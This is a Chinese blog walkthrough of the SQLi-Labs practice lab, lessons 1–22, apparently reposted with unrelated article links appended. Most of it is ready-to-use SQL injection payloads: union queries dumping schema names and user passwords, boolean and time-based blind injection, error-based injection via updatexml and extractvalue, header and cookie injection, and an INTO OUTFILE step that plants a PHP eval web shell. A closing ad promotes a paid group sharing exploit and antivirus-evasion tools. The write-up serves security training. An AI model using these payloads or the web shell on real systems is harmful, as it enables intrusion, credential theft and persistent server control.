【SQLi_Labs】Basic Challenges

什么是人生?人生就是永不休止的奮斗!

Less-1

嘗試添加’注入,發現報錯

在這里插入圖片描述

這里我們就可以直接發現報錯的地方,直接將后面注釋,然后使用

1’ order by 3%23

//得到列數為3

在這里插入圖片描述

//這里用-1是為了查詢一個不存在的id,好讓第一句結果為空,直接顯示第二句的結果

-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata%23

//得到數據庫名

在這里插入圖片描述

//得到表名

-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= ‘security’%23

如下

在這里插入圖片描述

//得到列名

-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name= ‘users’%23

如下

在這里插入圖片描述

//爆破得到數據

-1’ union select 1,username,password from users where id=3%23

如下

在這里插入圖片描述

Less-2

在添加’之后,得到返回

在這里插入圖片描述

可以得到這個sql語句其實并沒有單引號,只是用數字進行查詢,例如

select * from users where id=1

所以我們也可以跟上面一樣,payloads:

-1 or 1=1%23

如下

在這里插入圖片描述

Less-3

添加’之后,返回

在這里插入圖片描述

可以得到大概的sql語句:

select * from users where id=(‘input’) LIMIT 0,1;

所以我們可以需要閉合)。

-1’) or 1=1%23

如下

在這里插入圖片描述

Less-4

嘗試’并未發現報錯,嘗試"發現報錯

在這里插入圖片描述

可以得到大概的sql語句

select * from users where id = (“input”) LIMIT 0,1;

所以payload:

-1") or 1=1 %23

如下

在這里插入圖片描述

Less-5

嘗試’發現報錯

在這里插入圖片描述

猜測sql語句為

select * from users where id=‘input’ LIMIT 0,1;

如果嘗試之前的注入方法,會發現不再會返回我們注入的信息,如果注入成功的話,頁面會返回You are in…,出錯的話就不會返回這個字符串,所以這里我們可以進行盲注。

使用left()

例如我們可以使用1’ and left(version(),1)=3%23這個payload進行測試,截取version()得到的最左側的字符判斷是否為3,如果為3則正常返回You are in…,否則不返回。

在這里插入圖片描述

所以我們可以利用這個一步一步爆破得到1’ and left(version(),1)=5%23。爆破區間可以確定在/[0-9.]/。

采用1’and length(database())=8%23對數據庫名字長度進行爆破,確定數據庫名字長度之后,我們可以使用database()來進行爆破數據庫名,采用1’ and left(database(),1)>‘a’%23這個payload進行測試,原理跟上述一致,看返回即可,直到截取長度與數據庫名字一致為止,這里效率比較高的就是采用二分法進行盲注。

在這里插入圖片描述

使用substr()、ascii()

也可以采用substr()、ascii()函數進行嘗試:

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 //截取數據庫下第一個表的

在這里插入圖片描述

第一個字符與80ascii值進行對比 找第二個字符只需要改成substr(‘xxx’,2,1)即可。 找第二個表改成limit 1,1

使用regexp()

1’ and 1=(select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^us[a-z]’ limit 0,1)%23 //users表中的列名是否有us**的列

在這里插入圖片描述

使用ord()、mid()

1’ and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23 //cast(username AS CHAR)將username轉換成字符串

在這里插入圖片描述

//IFNULL(exp1,exp2)假如expr1不為NULL,則IFNULL()的返回值為expr1; 否則其返回值為expr2。IFNULL()的返回值是數字或是字符串,具體情況取決于其所使用的語境。 //ord將某個字符轉換成ascii碼,同ascii()

使用報錯注入

Mysql報錯注入原理分析(count()、rand()、group by)

超鏈接:https://www.cnblogs.com/xdans/p/5412468.html

1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

在這里插入圖片描述

1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x%23

在這里插入圖片描述

1’ union select (exp(~(select * FROM(SELECT USER())a))),2, 3–+ //exp報錯

在這里插入圖片描述

1’ union select (!(select * from (select user())x)- ~0),2,3–+ //bigint 溢出報錯注入(這個單引號是微軟拼音的中文單引號)

在這里插入圖片描述

1’ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ //xpath報錯注入

在這里插入圖片描述

1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+ //xpath報錯注入

在這里插入圖片描述

1’ union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

在這里插入圖片描述

使用延時注入

benchmark 是Mysql的一個內置函數,其作用是來測試一些函數的執行速度。benchmark() 中帶有兩個參數,第一個是執行的次數,第二個是要執行的函數或者是表達式

1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+

在這里插入圖片描述

Less-6

沒有回顯,可以使用布爾盲注

1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100–+

在這里插入圖片描述

可以發現>100有回顯,小于就沒有,也可以用報錯注入…

這里就是把Less-5 中的’改成"就行了

Less-7

使用文件導出,通過第Less-5的報錯注入出絕對路徑

1’ and updatexml(1,concat(0x7e,(select @@datadir),0x7e),1) --+

在這里插入圖片描述

1’))UNION SELECT 1,2,3 into outfile “c:\wamp\www\sqlli b\Less-7\uuu.txt”%23

在這里插入圖片描述

上圖中顯示 sql 出錯了,但是沒有關系,我們可以在文件中看到 uuu.txt 已經生成了

在這里插入圖片描述

1’))UNION SELECT 1,2,‘<?php @eval($_post["mima"])?>’ into outfile “c:\wamp\www\sqllib\Less-7\yijuhua.php”–+

在這里插入圖片描述

可以在文件中看到一句話木馬已經導入進去了

在這里插入圖片描述

Less-8

可以使用時間盲注,也可以用 bool 盲注

1’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+

在這里插入圖片描述

Less-9

同 Less-8 可以使用時間盲注

1’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+

在這里插入圖片描述

Less-10

1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+

在這里插入圖片描述

Less-11

報錯注入,少一列就行了

1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

在這里插入圖片描述

1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

在這里插入圖片描述

Less-12

1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

在這里插入圖片描述

1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

在這里插入圖片描述

Less-13

1’) or 1=1#

在這里插入圖片描述

成功登錄,報錯注入成功但是不回顯,可以考慮盲注

1’) or ascii(substr((database()),1,1))>100#

在這里插入圖片描述

Less-14

1" or 1=1#

在這里插入圖片描述

成功登錄,依然不能回顯,嘗試使用布爾盲注

1" or left(database(),1)=‘s’#

在這里插入圖片描述

發現可以用updatexml進行報錯注入

1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

在這里插入圖片描述

Less-15

1’ or 1=1#

在這里插入圖片描述

成功登錄,布爾注入或者時間盲注均可行

1’ or left(database(),1)=‘s’#

在這里插入圖片描述

admin’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

在這里插入圖片描述

Less-16

1") or 1=1#

在這里插入圖片描述

成功登錄,布爾注入或者時間盲注均可行

1") or left(database(),1)=‘s’#

在這里插入圖片描述

admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

在這里插入圖片描述

Less-17

update注入,username過濾了很多,有password錯誤回顯,考慮用報錯注入

username=admin

password=1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

在這里插入圖片描述

Less-18

登錄成功后,頁面提示

在這里插入圖片描述

那么有可能是 ip 或者 UA 注入,看了一下發現是個 Header 頭注入,這里需要注意這是登錄成功的條件下才能觸發的,而且既然是insert注入,需要用’1’='1閉合后面的 sql 語句,否則就是語法錯誤了

’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1

在這里插入圖片描述

’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1),“1”,“1”)#

在這里插入圖片描述

Less-19

登錄成功后提示

在這里插入圖片描述

于是我們可以知道是在Referer應該有注入點,在 Referer 處同樣用

’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1

在這里插入圖片描述

可以注入

Less-20

cookie 注入,登錄成功后修改 cookie 即可,注意刪除post的參數

uname=’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1

在這里插入圖片描述

Less-21

登錄成功后發現 cookie 加上了 base64

YOUR COOKIE : uname = YWRtaW4=

用上面的 payload 進行 base64 編碼就行了,記得=要 urlencode

JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d

在這里插入圖片描述

Less-22

同 21 ,單引號換成雙引號即可

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d

本文poc、工具、源碼加圈獲取

1、本圈主要分享:攻防及SRC實戰經驗分享、代碼審計漏洞詳情及代碼、最新漏洞詳情及原創漏洞利用工具、免殺手法及工具代碼、問題解答等。
2、圈主出身于深信服深藍攻防實驗室、新華三攻防實驗室,連續5年多次獲得國家級、省級、地市級、行業級護網攻擊隊前三名。
3、漏洞盒子總榜前五十名、補天總榜前五十名、去哪網SRC總榜前五十名。
4、獲得50+CVE通用漏洞編號、100+CNVD通用漏洞證書。
5、CSDN、公眾號、博客、先知社區、SecIN、FreeBuf粉絲量10000+。
6、前1-50名: 25¥,50-100名: 50¥,100-150名: 75¥,依次類推.....!

知識星球

img

紛傳

img

文筆生疏,措辭淺薄,望各位大佬不吝賜教,萬分感謝。

免責聲明:由于傳播或利用此文所提供的信息、技術或方法而造成的任何直接或間接的后果及損失,均由使用者本人負責, 文章作者不為此承擔任何責任。

轉載聲明:儒道易行 擁有對此文章的修改和解釋權,如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經作者允許,不得任意修改或者增減此文章的內容,不得以任何方式將其用于商業目的。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/64930.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/64930.shtml
英文地址,請注明出處:http://en.pswp.cn/web/64930.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Swift Combine 學習(四):操作符 Operator

Swift Combine 學習&#xff08;一&#xff09;&#xff1a;Combine 初印象Swift Combine 學習&#xff08;二&#xff09;&#xff1a;發布者 PublisherSwift Combine 學習&#xff08;三&#xff09;&#xff1a;Subscription和 SubscriberSwift Combine 學習&#xff08;四&…

時間序列預測算法---LSTM

目錄 一、前言1.1、深度學習時間序列一般是幾維數據&#xff1f;每個維度的名字是什么&#xff1f;通常代表什么含義&#xff1f;1.2、為什么機器學習/深度學習算法無法處理時間序列數據?1.3、RNN(循環神經網絡)處理時間序列數據的思路&#xff1f;1.4、RNN存在哪些問題? 二、…

leetcode題目(3)

目錄 1.加一 2.二進制求和 3.x的平方根 4.爬樓梯 5.顏色分類 6.二叉樹的中序遍歷 1.加一 https://leetcode.cn/problems/plus-one/ class Solution { public:vector<int> plusOne(vector<int>& digits) {int n digits.size();for(int i n -1;i>0;-…

快速上手LangChain(三)構建檢索增強生成(RAG)應用

文章目錄 快速上手LangChain(三)構建檢索增強生成(RAG)應用概述索引阿里嵌入模型 Embedding檢索和生成RAG應用(demo:根據我的博客主頁,分析一下我的技術棧)快速上手LangChain(三)構建檢索增強生成(RAG)應用 langchain官方文檔:https://python.langchain.ac.cn/do…

[cg] android studio 無法調試cpp問題

折騰了好久&#xff0c;native cpp庫無法調試問題&#xff0c;原因 下面的Deploy 需要選Apk from app bundle!! 另外就是指定Debug type為Dual&#xff0c;并在Symbol Directories 指定native cpp的so路徑 UE項目調試&#xff1a; 使用Android Studio調試虛幻引擎Android項目…

【Windows】powershell 設置執行策略(Execution Policy)禁止了腳本的運行

報錯信息&#xff1a; 無法加載文件 C:\Users\11726\Documents\WindowsPowerShell\profile.ps1&#xff0c;因為在此系統上禁止運行腳本。有關詳細信息&#xff0c;請參 閱 https:/go.microsoft.com/fwlink/?LinkID135170 中的 about_Execution_Policies。 所在位置 行:1 字符…

可編輯37頁PPT |“數據湖”構建汽車集團數據中臺

薦言分享&#xff1a;隨著汽車行業智能化、網聯化的快速發展&#xff0c;數據已成為車企經營決策、優化生產、整合供應鏈的核心資源。為了在激烈的市場競爭中占據先機&#xff0c;汽車集團亟需構建一個高效、可擴展的數據管理平臺&#xff0c;以實現對海量數據的收集、存儲、處…

【快速實踐】類激活圖(CAM,class activation map)可視化

類激活圖可視化&#xff1a;有助于了解一張圖像的哪一部分讓卷積神經網絡做出了最終的分類決策 對輸入圖像生成類激活熱力圖類激活熱力圖是與特定輸出類別相關的二維分數網格&#xff1a;對任何輸入圖像的每個位置都要進行計算&#xff0c;它表示每個位置對該類別的重要程度 我…

ros2 py文件間函數調用

文章目錄 寫在前面的話生成python工程包命令運行python函數命令python工程包的目錄結構目錄結構&#xff08;細節&#xff09; 報錯 1&#xff08; no module name ***&#xff09;錯誤示意 截圖終端輸出解決方法 報錯 2&#xff08; AttributeError: *** object has no attrib…

Milvus×合邦電力:向量數據庫如何提升15%電價預測精度

01. 全球能源市場化改革下的合邦電力 在全球能源轉型和市場化改革的大背景下&#xff0c;電力交易市場正逐漸成為優化資源配置、提升系統效率的關鍵平臺。電力交易通過市場化手段&#xff0c;促進了電力資源的有效分配&#xff0c;為電力行業的可持續發展提供了動力。 合邦電力…

OLED的顯示

一、I2C I2C時序&#xff1a;時鐘線SCL高電平下&#xff1a;SDA由高變低代表啟動信號&#xff0c;開始發送數據&#xff1b;SCL高電平時&#xff0c;數據穩定&#xff0c;數據可以被讀走&#xff0c;開始進行讀操作&#xff0c;SCL低電平時&#xff0c;數據發生改變&#xff1…

VMware運維效率提升50%,RVTools管理更簡單

RVTools 是一款專為 VMware 虛擬化環境量身打造的高效管理工具&#xff0c;基于 .NET 4.7.2 框架開發&#xff0c;并與 VMware vSphere Management SDK 8.0 和 CIS REST API 深度集成&#xff0c;能夠全面呈現虛擬化平臺的各項關鍵數據。該工具不僅能夠詳細列出虛擬機、CPU、內…

JS 中 json數據 與 base64、ArrayBuffer之間轉換

JS 中 json數據 與 base64、ArrayBuffer之間轉換 json 字符串進行 base64 編碼 function jsonToBase64(json) {return Buffer.from(json).toString(base64); }base64 字符串轉為 json 字符串 function base64ToJson(base64) {try {const binaryString atob(base64);const js…

介紹 C++ 中的智能指針及其應用:以 PyTorch框架自動梯度AutogradMeta為例

介紹 C 中的智能指針及其應用&#xff1a;以 AutogradMeta 為例 在 C 中&#xff0c;智能指針&#xff08;Smart Pointer&#xff09;是用于管理動態分配內存的一種工具。它們不僅自動管理內存的生命周期&#xff0c;還能幫助避免內存泄漏和野指針等問題。在深度學習框架如 Py…

python +t kinter繪制彩虹和云朵

python t kinter繪制彩虹和云朵 彩虹&#xff0c;簡稱虹&#xff0c;是氣象中的一種光學現象&#xff0c;當太陽光照射到半空中的水滴&#xff0c;光線被折射及反射&#xff0c;在天空上形成拱形的七彩光譜&#xff0c;由外圈至內圈呈紅、橙、黃、綠、藍、靛、紫七種顏色。事實…

Zabbix5.0版本(監控Nginx+PHP服務狀態信息)

目錄 1.監控Nginx服務狀態信息 &#xff08;1&#xff09;通過Nginx監控模塊&#xff0c;監控Nginx的7種狀態 &#xff08;2&#xff09;開啟Nginx狀態模塊 &#xff08;3&#xff09;配置監控項 &#xff08;4&#xff09;創建模板 &#xff08;5&#xff09;用默認鍵值…

Python入門教程 —— 字符串

字符串介紹 字符串可以理解為一段普通的文本內容,在python里,使用引號來表示一個字符串,不同的引號表示的效果會有區別。 字符串表示方式 a = "Im Tom" # 一對雙引號 b = Tom said:"I am Tom" # 一對單引號c = Tom said:"I\m Tom" # 轉義…

AcWing練習題:差

讀取四個整數 A,B,C,D&#xff0c;并計算 (AB?CD)的值。 輸入格式 輸入共四行&#xff0c;第一行包含整數 A&#xff0c;第二行包含整數 B&#xff0c;第三行包含整數 C&#xff0c;第四行包含整數 D。 輸出格式 輸出格式為 DIFERENCA X&#xff0c;其中 X 為 (AB?CD) 的…

小程序添加購物車業務邏輯

數據庫設計 DTO設計 實現步驟 1 判斷當前加入購物車中的的商品是否已經存在了 2 如果已經存在 只需要將數量加一 3 如果不存在 插入一條購物車數據 4 判斷加到本次購物車的是菜品還是套餐 Impl代碼實現 Service public class ShoppingCartServiceImpl implements Shoppin…

如何在谷歌瀏覽器中使用自定義搜索快捷方式

在數字時代&#xff0c;瀏覽器已經成為我們日常生活中不可或缺的一部分。作為最常用的瀏覽器之一&#xff0c;谷歌瀏覽器憑借其簡潔的界面和強大的功能深受用戶喜愛。本文將詳細介紹如何自定義谷歌瀏覽器的快捷工具欄&#xff0c;幫助你更高效地使用這一工具。 一、如何找到谷歌…